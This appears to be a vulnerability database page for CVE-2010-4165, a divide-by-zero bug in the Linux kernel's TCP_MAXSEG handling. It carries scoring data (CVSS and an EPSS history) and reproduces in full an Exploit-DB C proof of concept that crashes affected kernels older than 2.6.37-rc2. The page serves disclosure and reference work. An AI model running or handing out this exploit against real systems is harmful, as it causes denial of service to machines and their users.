CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The do_tcp_setsockopt function in net/ipv4/tcp.c in the Linux kernel before 2.6.37-rc2 does not properly restrict TCP_MAXSEG (aka MSS) values, which allows local users to cause a denial of service (OOPS) via a setsockopt call that specifies a small value, leading to a divide-by-zero error or incorrect use of a signed integer.
Divide By Zero The product divides a value by zero.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.9
AV:L/AC:L/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.48%
–
–
2022-02-13
–
–
3.48%
–
–
2022-04-03
–
–
3.48%
–
–
2022-05-29
–
–
3.48%
–
–
2022-09-11
–
–
3.22%
–
–
2022-09-18
–
–
3.22%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.09%
2025-03-30
–
–
–
–
0.1%
2025-04-06
–
–
–
–
0.13%
2025-04-15
–
–
–
–
0.13%
2025-04-15
–
–
–
–
0.13,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2011-03-09 23h00 +00:00 Author : zx2c4 EDB Verified : No
/*
* TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
* by zx2c4
*
* This exploit triggers CVE-2010-4165, a divide by zero
* error in net/ipv4/tcp.c. Because this is on the softirq
* path, the kernel oopses and then completely dies with
* no chance of recovery. It has been very reliable as a
* DoS, but is not useful for triggering other bugs.
*
* -zx2c4, 28-2-2011
*/
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
int main()
{
struct sockaddr_in laddr;
memset(&laddr, 0, sizeof(laddr));
laddr.sin_family = AF_INET;
laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
laddr.sin_port = htons(31337);
int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listener < 0) {
printf("[-] Could not open listener.\n");
return -1;
}
int val = 12;
if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
printf("[-] Could not set sockopt.\n");
return -1;
}
if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not bind to address.\n");
return -1;
}
if (listen(listener, 1) < 0) {
printf("[-] Could not listen.\n");
return -1;
}
int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (hello < 0) {
printf("[-] Could not open connector.\n");
return -1;
}
if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not connect to listener.\n");
return -1;
}
printf("[-] Connection did not trigger oops.\n");
return 0;
}
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Linux>>Linux_kernel >> Version To (excluding) 2.6.37